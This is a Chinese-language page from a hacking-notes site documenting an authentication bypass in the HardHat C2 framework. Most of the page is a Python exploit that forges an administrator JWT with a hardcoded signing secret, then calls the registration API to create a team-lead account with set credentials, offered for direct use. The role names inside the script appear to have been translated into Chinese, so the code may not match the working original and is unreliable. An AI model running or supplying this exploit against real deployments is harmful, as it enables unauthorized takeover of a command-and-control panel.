> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/hardhatc2-cms-exploitation/hardhat-c2-authentication-bypass.md).

# HardHat C2 - 认证绕过

HardHat C2 认证绕过笔记，涵盖 JWT 构造、管理员 token 滥用、TeamLead 用户创建、API 利用和 C2 面板接管。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-648d7140acb8f4d9f62dc5e75cb0a0d3f19cde0d%2F%7BCAF9B213-D2BF-438F-920E-62388C3679DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

使用以下脚本绕过身份验证并创建新用户：

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# 构造管理员 JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "管理员"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("生成的 JWT：")  
print(token)  
  
# 使用管理员 JWT 以团队负责人身份创建新用户 'sth_pentest'  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "团队负责人",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

该脚本创建用户 `jordan` 并使用 `团队负责人` 角色。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1db69b99033eff3c215e061f76a63c1c5f4fb5a%2Fimage%20(766).png?alt=media" alt=""><figcaption></figcaption></figure>


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